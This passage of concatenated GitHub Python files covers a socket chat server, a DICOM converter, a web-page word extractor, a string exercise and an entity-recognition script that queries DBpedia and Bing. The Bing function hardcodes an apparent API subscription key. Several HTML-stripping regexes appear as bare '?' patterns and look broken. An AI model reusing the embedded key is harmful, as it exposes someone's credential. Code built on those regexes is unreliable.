int(encabezado.decode('utf-8').strip())\n return {'header': encabezado, 'data': sck.recv(leng)}\n\n def register_users(self, sct):\n newSocket, ip = sct.accept()\n user = self.receive_msg(newSocket)\n self.sockets.append(newSocket)\n self.clients[newSocket] = user\n print(\"Usuario registrado\")\n\n def close_conection(self, sct):\n print('Conexion terminada.')\n del self.clients[sct]\n self.sockets.remove(sct)\n\n def manageClients(self):\n global newMsg\n while True:\n r, _, _ = select.select(self.sockets, [], [])\n for sct in r:\n if sct == self.s:\n self.register_users(sct)\n else:\n msg = self.receive_msg(sct)\n if not msg:\n self.close_conection(sct)\n continue\n if msg['data'].decode('utf-8')[0:5] == '/priv':\n dest_priv = {}\n for s in self.clients:\n try:\n if self.clients[s]['data'].decode('utf-8') == msg['data'].decode('utf-8').split()[1]:\n lenDestinatario = len(msg['data'].decode('utf-8').split()[1])\n newMsg = msg\n newMsg['data'] = msg['data'][6 + lenDestinatario:] # así elimino el comando\n dest_priv[s] = newMsg\n except IndexError:\n continue\n emisor = self.clients[sct]\n print(f'{emisor}: {newMsg}')\n self.send_msgs(sct, emisor, newMsg, dest_priv)\n\n else:\n emisor = self.clients[sct]\n print(f'{emisor}: {msg}')\n self.send_msgs(sct, emisor, msg, self.clients)\n\n def send_msgs(self, sct, emisor, msg, destinatarios):\n for sockt in destinatarios:\n if sockt != sct:\n sockt.send(emisor['header'] + emisor['data'] + msg['header'] + msg['data'])\n\n\ns = Server()\n","repo_name":"Romuloo/Serv-Client-Chat","sub_path":"TheServer.py","file_name":"TheServer.py","file_ext":"py","file_size_in_byte":2957,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"42839498503","text":"import gdcm\r\nimport sys\r\n\r\ndef dc(inputFile, outputFile):\r\n\treader = gdcm.ImageReader()\r\n\treader.SetFileName(inputFile)\r\n\r\n\tif not reader.Read():\r\n\t\tsys.exit(1)\r\n\r\n\tchange = gdcm.ImageChangeTransferSyntax()\r\n\tchange.SetTransferSyntax( gdcm.TransferSyntax(gdcm.TransferSyntax.ImplicitVRLittleEndian) )\r\n\tchange.SetInput( reader.GetImage() )\r\n\tif not change.Change():\r\n\t\tsys.exit(1)\r\n\r\n\twriter = gdcm.ImageWriter()\r\n\twriter.SetFileName(outputFile)\r\n\twriter.SetFile( reader.GetFile() )\r\n\twriter.SetImage( change.GetOutput() )\r\n\r\n\tif not writer.Write():\r\n\t\tsys.exit(1)","repo_name":"Nearby36/dcm2png","sub_path":"decompressed.py","file_name":"decompressed.py","file_ext":"py","file_size_in_byte":564,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"19836574059","text":"import os\nimport re\nfrom collections import Counter\nfrom urllib.request import urlopen\n\n\nimport os\nimport re\nfrom collections import Counter\nfrom urllib.request import urlopen\n\n\nclass Extractor:\n\n # Fetches words from webpage\n def fetch_content(self, url):\n try:\n with urlopen(url) as content:\n content_words = []\n for line in content:\n line_words = line.decode('utf-8').split()\n for word in line_words:\n content_words.append(word)\n return content_words\n\n except Exception as e:\n print(e)\n\n # class SubTextRemove:\n # This method removes all Html tags\n import re\n from urllib.request import urlopen\n def remove_script_tags(self, text):\n \"\"\"Remove html tags from a string\"\"\"\n try:\n pattern = '?'\n clean = re.compile(pattern)\n f = ''.join(re.sub(clean, ' ', text)) # Joins strings otherwise error is produced\n return f\n except Exception as e:\n print(e)\n\n def remove_noscript_tags(self, text):\n \"\"\"Remove html tags from a string\"\"\"\n try:\n pattern = '?'\n clean = re.compile(pattern)\n f = ''.join(re.sub(clean, ' ', text)) # Joins strings otherwise error is produced\n return f\n except Exception as e:\n print(e)\n\n def remove_iframe_tags(self, text):\n \"\"\"Remove html tags from a string\"\"\"\n try:\n pattern = '?'\n clean = re.compile(pattern)\n f = ''.join(re.sub(clean, ' ', text)) # Joins strings otherwise error is produced\n return f\n except Exception as e:\n print(e)\n\n def remove_a_tags(self, text):\n \"\"\"Remove html tags from a string\"\"\"\n try:\n pattern = '?'\n clean = re.compile(pattern)\n f = ''.join(re.sub(clean, ' ', text)) # Joins strings otherwise error is produced\n return f\n except Exception as e:\n print(e)\n\n def remove_input_tags(self, text):\n \"\"\"Remove html tags from a string\"\"\"\n try:\n pattern = ''\n clean = re.compile(pattern)\n f = ''.join(re.sub(clean, ' ', text)) # Joins strings otherwise error is produced\n return f\n except Exception as e:\n print(e)\n\n def remove_html_tags(self, text):\n \"\"\"Remove html tags from a string\"\"\"\n try:\n pattern = '<.*?>'\n clean = re.compile(pattern) # Match all occurences of characters inside the bracets\n f = ''.join(re.sub(clean, '', text)) # Joins strings otherwise error is produced\n return f\n except Exception as e:\n print(e)\n\n def removeAllNumericalCharacters(self, text):\n \"\"\"Remove html tags from a string\"\"\"\n try:\n pattern = r'[^A-Za-z0-9]+'\n clean = re.compile(pattern) # Match all occurences of characters inside the bracets\n f = ''.join(re.sub(clean, ' ', text)) # Joins strings otherwise error is produced\n return f\n except Exception as e:\n print(e)\n\n # class SplitTextRemove:\n # These methods split text after a certain point\n def remove_text_before_this_word(self, text, word):\n try:\n before = re.split('\\\\b' + word + '\\\\b', text)[-1]\n return before\n\n except Exception as e:\n print(e)\n\n def remove_text_after_this_word(self, text, word):\n try:\n after = re.split('\\\\b' + word + '\\\\b', text)[0]\n return after\n except Exception as e:\n print(e)\n\n def remove_Non_Al_Num(self, text):\n try:\n # pattern = '\\w' #Match all non numerical characters\n pattern = '\\W'\n t = re.split(pattern, text) # splits string\n str1 = ' '.join(t) # joins string again\n\n return str1\n except Exception as e:\n print(e)\n\n def remove_decimal(self, text):\n try:\n pattern = '\\d' # Match all decimal digit\n t = re.split(pattern, text)\n # t = re.findall(pattern, text)\n decimal = ' '.join(t)\n return decimal\n\n except Exception as e:\n print(e)\n\n def remove_whiteSpace(self, text):\n try:\n pattern = '\\s' # match all white space\n t = re.split(pattern, text)\n # t = re.findall(pattern, text)\n whiteSpace = ' '.join(t)\n return whiteSpace\n except Exception as e:\n print(e)\n\n #\n # def removeTo(self,text):\n # \"\"\"Remove html tags from a string\"\"\"\n # pattern = re.compile('') # Match all occurences of characters inside the bracets\n # # pattern = re.compile('')\n # pattern = re.compile('')\n # pattern2 = re.compile('')\n #\n # pattern3 = re.compile('')\n #\n # # pattern.fullmatch(text)\n # # pattern.search(text)\n #\n # matches = re.findall(pattern3, text)\n # f = ''.join(matches) # Joins strings otherwise error is produced\n #\n # # t = re.sub(pattern, ' ', text)\n #\n # return f\n #\n\n # class FindallTextRemove:\n # All these methods are used to find the text in between the tags and return it, abstract?\n\n def removeTo(self, text, pattern):\n \"\"\"Remove all but the body, from a string\"\"\"\n try:\n f = ''.join(re.findall(pattern, text)) # Joins strings otherwise error is produced\n return f\n except Exception as e:\n print(e)\n\n def removeToBody(self, text):\n \"\"\"Remove all but the body, from a string\"\"\"\n try:\n pattern = re.compile('?')\n f = ''.join(re.findall(pattern, text)) # Joins strings otherwise error is produced\n return f\n except Exception as e:\n print(e)\n\n def removeToDiv(self, text):\n \"\"\"Remove all divs from a string and return\"\"\"\n try:\n pattern = re.compile('?')\n f = ''.join(re.findall(pattern, text)) # Joins strings otherwise error is produced\n return f\n except Exception as e:\n print(e)\n\n # def run(self):\n # try:\n # f = FindallTextRemove()\n # f.removeTo('?')\n # f.removeTo('?')\n #\n #\n # except Exception as e:\n # print(e)\n\n # Data to be saved = words, save is the file name\n\n def save(self, words, save):\n\n try:\n with open(save, \"w\") as text_file:\n print(f\"{words}\", file=text_file)\n except Exception as e:\n print(e)\n\n # def run(self, url):\n\n def run(self, url):\n\n try:\n E = Extractor()\n\n # content = E.fetch_content('https://edition.cnn.com') # very odd, has the content in the header, in a script tag\n # content = E.fetch_content('https://www.rte.ie/news/')\n # content = E.fetch_content('https://www.bbc.com/news')\n # content = E.fetch_content('https://www.thefreedictionary.com/')\n # content = E.fetch_content('https://www.euronews.com')\n\n content = E.fetch_content(url)\n\n # print(content)\n\n str1 = ' '.join(content) # Joins strings otherwise error is produced\n # print(str1)\n\n body = E.removeToBody(str1)\n # print(body)\n\n # head = removeToHead(str1)\n # print(head)\n\n saveDivs = E.removeToDiv(body)\n\n # print(saveDivs)\n scripts = E.remove_script_tags(saveDivs)\n\n noscripts = E.remove_noscript_tags(scripts)\n # print(noscripts)\n\n noiframes = E.remove_iframe_tags(noscripts)\n # print(noiframes)\n\n # Can't do this\n # noatag = remove_a_tags(noiframes)\n # print(noatag)\n\n noinput = E.remove_input_tags(noiframes)\n # print(noinput)\n\n no_html = E.remove_html_tags(noiframes)\n # print(no_html)\n\n num_char = E.removeAllNumericalCharacters(no_html)\n # print(num_char)\n\n removeNon_Al_Num = E.remove_Non_Al_Num(num_char)\n # print(removeNon_Al_Num)\n\n clean = E.remove_decimal(removeNon_Al_Num)\n\n # print(clean)\n #\n print(E.remove_whiteSpace(clean))\n final = clean\n\n E.save(final, 'HTMLRemoved.txt')\n\n\n except Exception as e:\n print(e)\n\n\n\n\nclass Key_Noun:\n\n # Open file\n def openFile(self, file):\n try:\n with open(file, \"r\") as filterlist:\n # print(filterlist.read())\n words = []\n for line in filterlist:\n line_words = line.split()\n for word in line_words:\n words.append(word)\n return words\n except Exception as e:\n print(e)\n\n\n\n # # Data to be saved = words, save is the file name with the current date appended\n def save(self, words, save):\n import time\n try:\n timestr = time.strftime(\"%Y%m%d-%H%M%S\")\n # print(timestr)\n\n # Check if there is a current file named as above if so create a new one\n with open(save + \"%s.txt\" % timestr, \"w\") as text_file:\n print(f\"{words}\", file=text_file)\n except Exception as e:\n print(e)\n\n\n # Search using filterlist/exclusion list\n def search_items(self, words, filterlist):\n try:\n words1 = []\n for word in words:\n if word not in filterlist:\n words1.append(word)\n return words1\n except Exception as e:\n print(e)\n\n\n #method to count instance of each word\n def word_count(self, str):\n counts = dict()\n words = str.split()\n\n for word in words:\n if word in counts:\n counts[word] += 1\n else:\n counts[word] = 1\n return counts\n\n\n # Remove duplicate members\n def unique_list(self, list):\n ulist = []\n [ulist.append(x) for x in list if x not in ulist]\n return ulist\n\n\n def run(self, url):\n try:\n K = Key_Noun() # instatiate class\n inputText = K.openFile(\"HTMLRemoved.txt\") # Open and store the htmlRemoved content\n words1 = [x.lower() for x in inputText] # Ensure all the text is in lower case\n\n\n #Create an abstract class\n\n #Create a Noun method\n # Using an exclusion list, find only the nouns in the page\n Exclusion_list = K.openFile(\"ExclusionList.txt\")\n result_Nouns = K.search_items(words1, Exclusion_list)\n result_Nouns_Count = Counter(result_Nouns)\n # print(Counter(result_Nouns_Count))\n # print(result_Nouns)\n Nounstr1 = ' '.join(result_Nouns)\n # print(K.word_count(str1))\n\n CountNouns = K.word_count(Nounstr1) #Counts the number of instances of a word\n # print(sorted([(value, key) for (key, value) in CountNouns.items()], reverse=True)) #Sorts the list and prints\n CountNounsSort = sorted([(value, key) for (key, value) in CountNouns.items()], reverse=True)\n print(\"\\nNouns list sorted \\n\", CountNounsSort)\n\n # print(str1) #Prints the joined list\n Nounfinal = ' '.join(K.unique_list(Nounstr1.split())) #Method to remove duplicte words\n print(\"\\nNouns list \\n\",Nounfinal)\n K.save(Nounfinal, \"Noun_List_\")# + url + \"_\")\n\n\n\n\n\n # Create a Verb method\n # Using an exclusion list, find only the action words in the page\n Exclusion_list_Keywords = K.openFile(\"ExclusionList_Keywords.txt\")\n result_Action_Words = K.search_items(words1, Exclusion_list_Keywords)\n # print(Counter(result_Action_Words)) # To count occurances of words for keyword analysis\n\n # Using results from nouns as an exclusion list, to find only the action words in the page\n result_Action_Words_Final = K.search_items(result_Action_Words, Nounfinal)\n # print(Counter(result_Action_Words_Final))\n\n Verbstr1 = ' '.join(result_Action_Words_Final)\n CountVerbs = K.word_count(Verbstr1) #Counts the number of instances of a word\n # print(sorted([(value, key) for (key, value) in CountVerbs.items()], reverse=True)) #Sorts the list and prints\n CountVerbSort = sorted([(value, key) for (key, value) in CountVerbs.items()], reverse=True) # Sorts the list and prints\n\n print(\"\\nKey list sorted \\n\", CountVerbSort)\n\n Keystrl = ' '.join(result_Action_Words_Final)\n KeyFinal = ' '.join(K.unique_list(Keystrl.split())) # Method to remove duplicte words\n\n print(\"\\nKey list \\n\", KeyFinal)\n K.save(KeyFinal, \"Verb_List_\")\n except Exception as e:\n print(e)\n\n\n\n#This class retrieves files from the directory, sorts and compares them\nclass retrieve_sort_compare:\n\n\n mypath = 'C:\\\\pyfund\\\\Exercise1'\n\n # Lists files in this directory and searches for specific files\n def retrieve_sort(self, filename):\n\n try:\n files = os.listdir(retrieve_sort_compare.mypath)\n mylist = []\n for file in files:\n if file.lstrip().startswith(filename): # Search for only the keywrd Noun\n mylist.append(file)\n mylist.sort(reverse=True)\n # print(mylist)\n # print(mylist[0])\n # print(mylist[1])\n\n a = mylist[0]\n b = mylist[1]\n\n return mylist #Return a the last two entries in the list\n\n\n except Exception as e:\n\n print(e)\n\n\n #This method takes in two files an compares them, if there is no change then it returns same\n def compare(self, file1, file2, str):\n try:\n with open(file1, \"r\") as f1:\n f1_text = f1.read()\n with open(file2, \"r\") as f2:\n f2_text = f2.read()\n # Find and print the diff:\n\n # Cast to a set\n A = {f1_text}\n B = {f2_text}\n\n # print(A.difference(B))\n # print(B.difference(A))\n\n compare_result = A.difference(B)\n\n if len(compare_result) == 0:\n print(\"\\n No change\")\n else:\n # print(compare_result)\n print(\"\\n The \" + str + \" that have changed are: \\n\")\n str1 = ' '.join(compare_result) # Joins strings otherwise error is produced\n print(str1)\n # str2 = ''.join(str1) # Joins strings otherwise error is produced\n # compare_result_Count = Counter({str1})\n # print(str2)\n # print(compare_result_Count)\n\n return\n\n\n except Exception as e:\n\n print(e)\n\n\n\n #This method is used to run the class\n def run(self):\n try:\n CN = retrieve_sort_compare() #Create instance of object\n # CC.retrieve_sort('Noun') #Searches for files with the key word 'Noun'\n # print(CC.retrieve_sort())\n\n # List of the last two elements has been returned\n list = CN.retrieve_sort('Noun')\n # print(list)\n # Passing releveant files to check content\n CN.compare(list[0], list[1], 'Noun')\n # CC.compare('Noun_List.txt', 'Noun_List20190620-131122.txt')\n\n\n CV = retrieve_sort_compare()\n list = CV.retrieve_sort('Verb')\n # Passing releveant files to check content\n CV.compare(list[0], list[1], 'Verb' )\n\n\n\n\n except Exception as e:\n\n print(e)\n\n\n\n\n# main method\ndef main(url):\n\n E = Extractor()\n E.run(url)\n\n K = Key_Noun()\n K.run(url)\n\n C = retrieve_sort_compare()\n C.run()\n\n\n\n # Runs script in shell\nif __name__ == '__main__':\n main('https://www.bbc.com/news')\n\n\n\n\n\n# # main method\n# def main(url):\n#\n# E = Extractor()\n# E.run(url)\n#\n#\n#\n# # Runs script in shell\n# if __name__ == '__main__':\n# main('https://www.bbc.com/news')\n#\n","repo_name":"ColmCharlton/WebNounExtractorJenkins","sub_path":"Exercise_final.py","file_name":"Exercise_final.py","file_ext":"py","file_size_in_byte":16995,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"41906380470","text":"def recurringChar(str):\n cher=''\n\n for i in str:\n num=0\n char=i\n for j in str:\n if j == char:\n num += 1\n if num == 2:\n return f\"{j} recurred \"\n else:\n continue\n\nans=recurringChar('acbbac')\nprint (ans)\n\ndef recurringChar2(str):\n\n n = len(str)\n s=0\n while n > s:\n sp=s+1\n while n > sp:\n if str[s] == str[sp]:\n return f\"{str[s]} is recurring\"\n\n else:\n sp += 1\n s += 1\n\n\ndef recurred(str):\n n = len(str)\n s = 0\n while n > s:\n if str[s] == str[s+1]:\n print (f\"{str[s]} recurred\")\n break\n else:\n s += 1\n\nmychar=recurringChar2('acbbac')\nprint (mychar)\nrecurred('acbbac')\n","repo_name":"Ankit05012019/Python-Daily-Problems","sub_path":"recurring_char.py","file_name":"recurring_char.py","file_ext":"py","file_size_in_byte":776,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"74788465961","text":"from os import listdir\nfrom os.path import isfile, join\nimport nltk\nfrom datetime import datetime\nfrom SPARQLWrapper import SPARQLWrapper, JSON\nimport string\nimport sys, http.client, urllib.request, urllib.parse, urllib.error, json\nimport re\n\n\nstartTime = datetime.now()\n\n\ncorpus_root = \"/Users/mattcallaway/nltk_data/corpora/wsj_untagged/\"\noutput_root = \"/Users/mattcallaway/nltk_data/corpora/wsj_output/\"\nnamed_entities_root = \"./named_entities/\"\n\n# Load up grammar for regexp parser\ngrammar = open(named_entities_root + \"grammar.txt\").read()\ncp = nltk.RegexpParser(grammar)\nprint(\"Loaded grammar and regexp parser\")\n\n# Load named entities extracted from training data as sets\ntraining_people = set(open(named_entities_root + 'people.txt').read().splitlines())\ntraining_organisations = set(open(named_entities_root + 'organizations.txt').read().splitlines())\ntraining_locations = set(open(named_entities_root + 'locations.txt').read().splitlines())\nprint(\"Loaded training data sets\")\n\n# Load name file\nmale = set(open(named_entities_root + \"names.male\").read().splitlines())\nfemale = set(open(named_entities_root + \"names.female\").read().splitlines())\nfirstnames = male.union(female)\nfamily = set(open(named_entities_root + \"names.family\").read().splitlines())\nprint(\"Loaded name sets\")\n\n# Load IEER corpus add to training sets\nieer = nltk.corpus.ieer\ndocs = ieer.parsed_docs()\nfor doc in docs:\n for subtree in doc.text.subtrees():\n if subtree.label == \"PERSON\":\n training_people.add(\" \".join(subtree.leaves()))\n elif subtree.label == \"LOCATION\":\n training_locations.add(\" \".join(subtree.leaves()))\n elif subtree.label == \"ORGANIZATION\":\n training_organisations.add(\" \".join(subtree.leaves()))\nprint(\"IEER corpus loaded and added to training sets\")\n\n# Load entities from bigentitylist.txt\nbig_entity_list = open(named_entities_root + 'bigentitylist.txt').read().splitlines()\nfor line in big_entity_list:\n split = line.split()\n if split[0] == 'PER':\n training_people.add(split[1])\n elif split[0] == 'LOC':\n training_locations.add(split[1])\n elif split[0] == 'ORG':\n training_organisations.add(split[1])\nprint('Entities from bigentitylist.txt added to training sets')\n\n\n# =================================\n# =================================\n# Check DBPedia for string\n# =================================\n# =================================\ndef check_wiki(words):\n words_stripped = words\n for char in string.punctuation:\n words_stripped = words_stripped.replace(char, '')\n try:\n sparql = SPARQLWrapper(\"http://dbpedia.org/sparql\")\n # First check if this entity redirects to another entity\n sparql.setQuery(\"\"\"\n PREFIX rdfs: \n PREFIX dbo: \n PREFIX db: \n SELECT ?redirectsTo WHERE {\n ?x rdfs:label \"%s\"@en .\n ?x dbo:wikiPageRedirects ?redirectsTo\n }\n \"\"\" % words_stripped)\n sparql.setReturnFormat(JSON)\n uri_result = sparql.query().convert()['results']['bindings']\n uri = uri_result[0]['redirectsTo']['value'] if len(\n uri_result) > 0 else \"http://dbpedia.org/resource/\" + words_stripped.replace(' ', '_')\n\n sparql.setQuery(\"\"\" select ?t\n where {\n OPTIONAL { <%s> a ?t } .\n }\"\"\" % uri)\n results = sparql.query().convert()['results']['bindings']\n\n def get_ontology(rs):\n # convert the resultset into a list of strings of all ontologies according to dbpedia\n ontologies = list(\n map(lambda x: x['t']['value'][28:], filter(lambda x: \"http://dbpedia.org/ontology\" in x['t']['value'], rs)))\n if \"Person\" in ontologies:\n return 'PERSON'\n elif \"Organisation\" in ontologies:\n return 'ORGANISATION'\n elif \"Location\" in ontologies:\n return 'LOCATION'\n else:\n return 'UKN'\n\n if 't' in results[0]:\n print('Wiki check has revealed ' + words + ' is a =>=>=> ' + get_ontology(results))\n return get_ontology(results)\n else:\n print('Wiki check got no results for ' + words)\n return 'UKN'\n except Exception as e:\n print('DBPEDIA EXCEPTION -> -> ' + words_stripped + ' -> ' + e)\n return 'UKN'\n\n\n# =================================\n# =================================\n# Check Bing for string\n# =================================\n# =================================\n\n# get_url function provided on Microsoft\n# https://dev.cognitive.microsoft.com/docs/services/56b43eeccf5ff8098cef3807/operations/56b4447dcf5ff8098cef380d\ndef send_bing(query) :\n headers = {\n # Request headers\n 'Ocp-Apim-Subscription-Key': '05825610312b4aa683a9ff44ce1ae4d9',\n }\n\n params = urllib.parse.urlencode({\n # Request parameters\n 'q': query,\n 'count': '10',\n 'offset': '0',\n 'mkt': 'en-us',\n 'safesearch': 'Moderate',\n })\n\n try:\n conn = http.client.HTTPSConnection('api.cognitive.microsoft.com')\n conn.request(\"GET\", \"/bing/v5.0/search?%s\" % params, \"{body}\", headers)\n response = conn.getresponse()\n data = response.read()\n conn.close()\n return data\n except Exception as e:\n print(\"[Errno {0}] {1}\".format(e.errno, e.strerror))\n return None\n\npeople_phrases = {'born', 'lived', 'died'}\norganisation_phrases = {'industry', 'company', 'shares', 'chairman', 'CEO', 'stock', 'FTSE', 'DOW', 'NASDAQ'}\nloc_keywords = {\"Mountains\", \"Basin\", \"County\", \"City\", \"Coast\", \"Town\", \"Rey\", \"Avenue\", \"Street\", \"Island\", \"Sea\",\n \"Park\", \"Peninsula\", \"House\", \"Manor\", \"Tower\", \"North\", \"East\", \"South\", \"West\", \"United\",\n \"Lake\", \"Area\", \"Road\"}\n\ndef bing_it(entity):\n entity_stripped = entity\n for char in string.punctuation:\n entity_stripped = entity_stripped.replace(char, '')\n\n url_data = send_bing(entity_stripped)\n\n if url_data is None:\n print('Bing failed for ' + entity)\n return 'UKN'\n\n # Convert to JSON\n url_data = url_data.decode(\"utf-8\")\n url_data = json.loads(url_data)\n\n print(url_data)\n try:\n snippets = [i['snippet'] for i in url_data['webPages']['value']]\n if any(phrase in snippet for phrase in people_phrases for snippet in snippets):\n return 'PERSON'\n elif any(phrase in snippet for phrase in organisation_phrases for snippet in snippets):\n return 'ORGANISATION'\n elif any(phrase in snippet for phrase in loc_keywords for snippet in snippets):\n return 'LOCATION'\n else:\n return 'UKN'\n except Exception as e:\n print('There was an exception during bing! ' + entity)\n return 'UKN'\n\n\n\n\ndef check_bing(entity):\n return bing_it(entity)\n\nprint(check_bing('Mr. Inouye'))\n# =================================\n# =================================\n# Simple keyword checkers\n# =================================\n# =================================\n# Organisations\norganisations = set()\n# Keywords that may appear in organisations\norg_keywords = {\"Co\", \"Org\", \"Inc\", \"Inc\", \"Industries\", \"Laboratories\", \"Partnership\", \"Systems\", \"Group\", \"N.V\"\n \"AG\", \"PLC\", \"Ltd\", \"Corp\", \"NV\", \"Limited\", \"Party\", \"Council\", \"Association\", \"Company\", \"Institute\",\n \"Capital\"}\norg_context_words = {'the'}\norg_regex = [re.compile(r'\\w\\s?&\\s?\\w')]\n\n\ndef check_org(entity, lastword):\n if entity in training_organisations:\n return True\n elif entity in organisations:\n return True\n elif any(lw == lastword.lower() for lw in org_context_words):\n return True\n elif any(rgx.match(entity) for rgx in org_regex):\n return True\n elif any(kw in entity for kw in org_keywords):\n return True\n else:\n return False\n\n# Locations\nlocations = set()\n# Keywords that may appear in locations\n# loc_keywords = {\"Mountains\", \"Basin\", \"County\", \"City\", \"Coast\", \"Town\", \"Rey\", \"Avenue\", \"Street\", \"Island\", \"Sea\",\n# \"Park\", \"Peninsula\", \"House\", \"Manor\", \"Tower\", \"North\", \"East\", \"South\", \"West\", \"United\",\n# \"Lake\", \"Area\", \"Road\"}\n# Already defined above in Bing section..\nloc_context_words = {'in', 'at'}\n# regex matches with united states state abbreviation\nloc_regex = [re.compile(r'\\w+, (?:[A-Za-z]\\.?[A-Za-z]\\.?)')]\n\ndef check_loc(entity, lastword):\n if entity in training_locations:\n return True\n elif entity in locations:\n return True\n elif any(lw == lastword.lower() for lw in loc_context_words):\n return True\n # True if any regular expressions match this entity\n elif any(rgx.match(entity) for rgx in loc_regex):\n return True\n elif any(kw in entity for kw in loc_keywords):\n return True\n else:\n return False\n\n# Names\npeople = set()\n# Keywords that may appear in names\nname_keywords = {\"Mr\", \"Mrs\", \"Ms\", \"Miss\", \"Master\", \"Sir\", \"Lord\", \"Duke\", \"President\", \"Vice\", \"Chief\", \"Prof\",\n \"Assistant\", \"Chair\", \"Chief\", \"King\", \"Queen\", \"Mayor\", \"Minister\", \"Senior\", \"Dr.\", \"Doctor\"}\nname_disallowed = {',', '(', ')', '[', '&', ' and '}\npeople_context_words = {'says', 'said'}\npeople_regex = [re.compile(r'\\w+\\s\\w\\.\\s\\w+')]\n\n\ndef check_people(entity, split, lastword):\n # Names all words should begin with a capital letter\n if any(map(lambda x: not x[0].isupper() and not x[0] in string.punctuation, split)):\n print('false')\n return False\n # False if any disallowed char\n elif any(c in entity for c in name_disallowed):\n return False\n # True if entity seen in training data\n elif entity in training_people:\n return True\n # True if seen before this run\n elif entity in people:\n return True\n # True if the word before this entity is in people_context_words\n elif any(lw == lastword.upper() for lw in people_context_words):\n return True\n # True if any regular expressions match this entity\n elif any(rgx.match(entity) for rgx in people_regex):\n return True\n # False if longer than 1 word, and no family or title\n elif len(split) > 1 and not (any(x in family for x in split) or any(x in entity for x in name_keywords)):\n return False\n # True if firstname before lastname else False\n else:\n titles = [k for k, v in enumerate(split) if any(kwd in v for kwd in name_keywords)]\n firsts = [k for k, v in enumerate(split) if v in firstnames]\n lasts = [k for k, v in enumerate(split) if v in family]\n title_pos = min(titles) if len(titles) > 0 else None\n firstname_pos = min(firsts) if len(firsts) > 0 else None\n lastname_pos = max(lasts) if len(lasts) > 0 else None\n if title_pos is not None and firstname_pos is not None and lastname_pos is not None:\n # First, last name and title, must come in title first last order\n if lastname_pos > firstname_pos > title_pos:\n return True\n if title_pos is not None and lastname_pos is not None:\n # Last name and title, title must come first\n if lastname_pos > title_pos:\n return True\n if firstname_pos is not None and lastname_pos is not None:\n # First and last name must come in order\n if lastname_pos > firstname_pos:\n return True\n elif title_pos == 0:\n return True\n elif title_pos is None and firstname_pos == 0:\n return True\n elif title_pos is None and firstname_pos is None and lastname_pos == 0 and len(split) == 1:\n return True\n else:\n return False\n\n\ndef categorise(entity, split, past_entities, last_word):\n try: \n if entity in unknown:\n cat = 'UKN'\n elif not all(map(lambda x: x[0].isupper() or x[0] in str(string.punctuation) or x == 'and', split)):\n cat = 'INV'\n unknown.add(entity)\n # If entity seen before in sentence trust it is same type\n elif any(entity in past_ent for past_ent in past_entities.keys()):\n print('Looking for superstring in past entities for ' + entity + ' in ' + str(past_entities.keys()))\n cat = (v for k, v in past_entities.items() if entity in k).__next__()\n if cat == 'LOCATION':\n locations.add(entity)\n elif cat == 'ORGANISATION':\n organisations.add(entity)\n elif cat == 'PERSON':\n people.add(entity)\n else:\n unknown.add(entity)\n elif check_org(entity, last_word):\n cat = 'ORGANISATION'\n organisations.add(entity)\n elif check_loc(entity, last_word):\n cat = 'LOCATION'\n locations.add(entity)\n elif check_people(entity, split, last_word):\n cat = 'PERSON'\n people.add(entity)\n else:\n cat = check_wiki(entity)\n # if cat == 'UKN':\n # cat = check_bing(entity)\n # print('Binging ' + entity + ' ===> ' + cat)\n\n if cat == 'LOCATION':\n locations.add(entity)\n elif cat == 'ORGANISATION':\n organisations.add(entity)\n elif cat == 'PERSON':\n people.add(entity)\n else:\n unknown.add(entity)\n return cat\n except Exception as e:\n # print('Exception categorising ' + entity)\n # return 'UKN'\n raise e\n\n\ndef make_entity(input):\n entity = \"\"\n for word in input:\n if word in {'.', ','}:\n entity += word\n else:\n entity += \" \" + word\n return entity.strip(string.punctuation + ' ')\n\n\ndef tag(entity, tag, text):\n if tag != 'UKN':\n return text.replace(entity, '' + entity + \"\")\n else:\n return text\n\ndef get_last_word(entity, sentence):\n if entity != '':\n partition = sentence.partition(entity)\n split = partition[0].split()\n return split[-1] if len(split) > 0 else ''\n else:\n return ''\n\n# Unknown entities, debugging only\nunknown = set()\n\ndevelopment = False\n\nif not development:\n onlyfiles = [f for f in listdir(corpus_root) if isfile(join(corpus_root, f))]\n # onlyfiles = ['wsj_4153.txt']\n\n for fileid in onlyfiles:\n print(fileid)\n\n # Open and input and output file\n file = open(corpus_root + fileid)\n output = open(output_root + fileid, 'w')\n try:\n # Read text in input file\n text = file.read()\n\n # Tokenize sentence into sentences and then words\n sentences = nltk.sent_tokenize(text)\n word_sents = [nltk.word_tokenize(sent) for sent in sentences]\n\n # Pos tag sentences using nltk's default tagger, averaged perceptron tagger\n tagged = [nltk.pos_tag(sent) for sent in word_sents]\n\n for index, sent in enumerate(tagged):\n untagged = sentences[index]\n tree = cp.parse(sent)\n past_entities = dict()\n for subtree in tree.subtrees():\n if subtree.label() == \"NE\":\n chunk = subtree.leaves()\n # Unparse words to make one entity\n # Words is passed functions because it prevents having to .split() again which is slow\n words = [x[0] for x in chunk]\n\n # Attempt to categorise the entity, if successful it will be tagged\n entity = make_entity(words)\n words = entity.split()\n cat = categorise(entity, words, past_entities, get_last_word(entity, untagged))\n if cat != \"UKN\" and cat != \"INV\":\n past_entities[entity] = cat\n\n # If the detected named entity contains a conjunction\n elif any(pos[1] == \"CC\" or pos[1] == \",\" for pos in chunk):\n print('Splitting <\"' + entity + '\"> on conjunction:')\n # Split the named entity, test if any of the individual parts alone are named entities first\n acc = []\n ent_acc = dict()\n for i, word in enumerate(chunk):\n if word[1] == \"CC\" or word[1] == ',':\n if len(acc) >= 1:\n copy = acc.copy()\n ent = make_entity(copy)\n ent_acc[ent] = copy\n acc.clear()\n print(\"|-----> \" + ent)\n acc.clear()\n elif i == len(chunk)-1:\n acc.append(word[0])\n copy = acc.copy()\n ent = make_entity(copy)\n ent_acc[ent] = copy\n acc.clear()\n print(\"|-----> \" + ent)\n else:\n acc.append(word[0])\n # If any of the smaller entities have been tagged successfully, let them be entities\n for ent in ent_acc.items():\n cat = categorise(ent[0], ent[1], past_entities, get_last_word(ent[0], untagged))\n if cat != 'UKN' and cat != 'INV':\n past_entities[ent[0]] = cat\n last_word = ' '.join(x[0] for x in subtree.leaves())\n for tagged_entity in past_entities.items():\n untagged = untagged.replace(tagged_entity[0], '' + tagged_entity[0] + \"\")\n 